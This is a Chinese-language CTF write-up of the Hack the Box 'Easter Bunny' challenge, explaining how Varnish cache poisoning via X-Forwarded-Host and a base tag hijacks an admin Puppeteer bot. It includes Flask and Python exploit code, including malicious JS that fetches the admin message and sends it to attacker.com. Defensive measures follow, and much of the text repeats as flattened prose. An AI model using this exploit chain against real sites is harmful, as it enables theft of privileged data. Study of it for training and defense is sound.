Hack the Box——easter-bunny
字数 1637 2025-08-11 23:05:55

Hack the Box Easter Bunny 漏洞利用教学文档

0x00 题目概述

这是一个关于缓存投毒(Cache Poisoning)和服务器端请求伪造(SSRF)结合的CTF挑战,通过利用Varnish缓存服务和Express应用的配置漏洞,最终获取被隐藏的flag。

0x01 环境分析

关键API端点

  1. 静态资源:

    • /static/main.js
    • /static/viewletter.js
    • /letters?id=[id]
  2. API端点:

    • POST /submit - 提交新消息
      • 请求体: {"message": ""}
      • 返回: {"message": id}
    • GET /message/:id - 获取消息
      • 返回: {"message": id, "count": count}
      • 特殊: id=3时返回401(需要管理员权限)

关键发现

  • /message/3 返回401错误,提示flag可能在此
  • 需要管理员权限(isAdmin)才能访问隐藏消息

0x02 源码审计关键点

1. 模板注入点

router.get("/letters", (req, res) => {
  return res.render("viewletters.html", {
    cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`
  });
});
  • req.hostname 可通过 X-Forwarded-Host 头控制
  • Express配置了 app.set('trust proxy', process.env.PROXY !== 'false')
  • 模板引擎过滤了 "<>,XSS不可行

2. Puppeteer 访问机制

router.post("/submit", async (req, res) => {
  const { message } = req.body;
  if (message) {
    return db.insertMessage(message)
      .then(async inserted => {
        try {
          botVisiting = true;
          await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret);
          // ...
  • 提交消息后会通过Puppeteer访问新创建的消息
  • 访问地址为 http://127.0.0.1/letters?id=[new_id]

3. 管理员验证机制

const isAdmin = (req, res) => {
  return req.ip === '127.0.0.1' && req.cookies['auth'] === authSecret;
};
  • 只有来自127.0.0.1且拥有正确auth cookie的请求才是管理员

4. Varnish 缓存配置

sub vcl_hash {
  hash_data(req.url);
  if (req.http.host) {
    hash_data(req.http.host);
  } else {
    hash_data(server.ip);
  }
  return (lookup);
}
  • 缓存键为 req.url + req.http.host
  • 可通过修改Host头影响缓存

5. Base标签利用

<base href="{{cdn}}" />
  • 控制cdn变量可改变页面所有相对路径的基准URL
  • 可重定向静态资源请求到攻击者服务器

0x03 攻击思路

  1. 缓存投毒:

    • 通过伪造X-Forwarded-Host头污染缓存
    • 使/letters?id=[id]页面的<base>标签指向攻击者服务器
  2. 控制静态资源:

    • 当Puppeteer访问被污染的页面时,会从攻击者服务器加载JS
    • 在恶意JS中注入获取/message/3的逻辑
  3. 数据回传:

    • 让Puppeteer将获取到的flag发送到攻击者控制的端点

0x04 详细攻击步骤

1. 搭建恶意服务器

使用Flask搭建一个简单的恶意服务器:

from flask import Flask, request
app = Flask(__name__)

# 恶意JS文件
@app.route("/static/viewletter.js")
def malicious_js():
    return """
    const get_msg = fetch("http://127.0.0.1/message/3")
        .then(response => response.json())
        .then(data => {
            msg = data.message;
            loadLetter();
            // 将数据发送到攻击者服务器
            fetch("http://attacker.com/steal?data=" + encodeURIComponent(JSON.stringify(data)));
        });
    
    const loadLetter = fetch(`/message/${msg}`);
    
    get_msg();
    """

2. 缓存投毒

import requests

def poison_cache(target_id):
    url = f"http://target.com/letters?id={target_id}"
    headers = {
        "Host": "127.0.0.1",
        "X-Forwarded-Host": "attacker.com"
    }
    response = requests.get(url, headers=headers)
    if "attacker.com" in response.text:
        print("[+] Cache poisoned successfully")

3. 触发Puppeteer访问

def trigger_visit():
    # 获取当前消息计数以预测下一个ID
    current_count = requests.get("http://target.com/message/1234").json()["count"]
    next_id = current_count + 1
    
    # 先投毒缓存
    poison_cache(next_id)
    
    # 然后提交新消息触发Puppeteer访问
    requests.post("http://target.com/submit", json={"message": "test"})

4. 完整攻击流程

  1. 确定下一个将创建的message ID
  2. 对该ID对应的/letters页面进行缓存投毒
  3. 提交新消息触发Puppeteer访问
  4. Puppeteer加载被污染的页面,从攻击者服务器获取恶意JS
  5. 恶意JS以localhost身份访问/message/3并回传数据

0x05 防御措施

  1. 缓存配置:

    • 不要信任用户提供的Host头
    • 在Varnish中限制可缓存的Host
  2. Express应用:

    • 谨慎设置trust proxy
    • req.hostname进行严格验证
  3. Puppeteer使用:

    • 限制Puppeteer访问的URL范围
    • 禁用不必要的功能(如执行外部JS)
  4. Base标签:

    • 对用户提供的URL进行严格验证
    • 考虑使用固定域名而非动态生成

0x06 总结

这道题目展示了缓存投毒与SSRF结合的强大威力,关键点在于:

  1. 利用X-Forwarded-Host控制req.hostname
  2. 通过<base>标签重定向资源请求
  3. 利用Puppeteer的本地访问权限获取敏感数据
  4. Varnish缓存机制的可预测性

这种攻击在现实中可能导致大规模的用户数据泄露或XSS攻击,需要开发者高度重视相关配置的安全性。

Hack the Box Easter Bunny 漏洞利用教学文档 0x00 题目概述 这是一个关于缓存投毒(Cache Poisoning)和服务器端请求伪造(SSRF)结合的CTF挑战,通过利用Varnish缓存服务和Express应用的配置漏洞,最终获取被隐藏的flag。 0x01 环境分析 关键API端点 静态资源 : /static/main.js /static/viewletter.js /letters?id=[id] API端点 : POST /submit - 提交新消息 请求体: {"message": ""} 返回: {"message": id} GET /message/:id - 获取消息 返回: {"message": id, "count": count} 特殊: id=3时返回401(需要管理员权限) 关键发现 /message/3 返回401错误,提示flag可能在此 需要管理员权限( isAdmin )才能访问隐藏消息 0x02 源码审计关键点 1. 模板注入点 req.hostname 可通过 X-Forwarded-Host 头控制 Express配置了 app.set('trust proxy', process.env.PROXY !== 'false') 模板引擎过滤了 " 和 <> ,XSS不可行 2. Puppeteer 访问机制 提交消息后会通过Puppeteer访问新创建的消息 访问地址为 http://127.0.0.1/letters?id=[new_id] 3. 管理员验证机制 只有来自127.0.0.1且拥有正确auth cookie的请求才是管理员 4. Varnish 缓存配置 缓存键为 req.url + req.http.host 可通过修改Host头影响缓存 5. Base标签利用 控制cdn变量可改变页面所有相对路径的基准URL 可重定向静态资源请求到攻击者服务器 0x03 攻击思路 缓存投毒 : 通过伪造 X-Forwarded-Host 头污染缓存 使 /letters?id=[id] 页面的 <base> 标签指向攻击者服务器 控制静态资源 : 当Puppeteer访问被污染的页面时,会从攻击者服务器加载JS 在恶意JS中注入获取 /message/3 的逻辑 数据回传 : 让Puppeteer将获取到的flag发送到攻击者控制的端点 0x04 详细攻击步骤 1. 搭建恶意服务器 使用Flask搭建一个简单的恶意服务器: 2. 缓存投毒 3. 触发Puppeteer访问 4. 完整攻击流程 确定下一个将创建的message ID 对该ID对应的 /letters 页面进行缓存投毒 提交新消息触发Puppeteer访问 Puppeteer加载被污染的页面,从攻击者服务器获取恶意JS 恶意JS以localhost身份访问 /message/3 并回传数据 0x05 防御措施 缓存配置 : 不要信任用户提供的Host头 在Varnish中限制可缓存的Host Express应用 : 谨慎设置 trust proxy 对 req.hostname 进行严格验证 Puppeteer使用 : 限制Puppeteer访问的URL范围 禁用不必要的功能(如执行外部JS) Base标签 : 对用户提供的URL进行严格验证 考虑使用固定域名而非动态生成 0x06 总结 这道题目展示了缓存投毒与SSRF结合的强大威力,关键点在于: 利用 X-Forwarded-Host 控制 req.hostname 通过 <base> 标签重定向资源请求 利用Puppeteer的本地访问权限获取敏感数据 Varnish缓存机制的可预测性 这种攻击在现实中可能导致大规模的用户数据泄露或XSS攻击,需要开发者高度重视相关配置的安全性。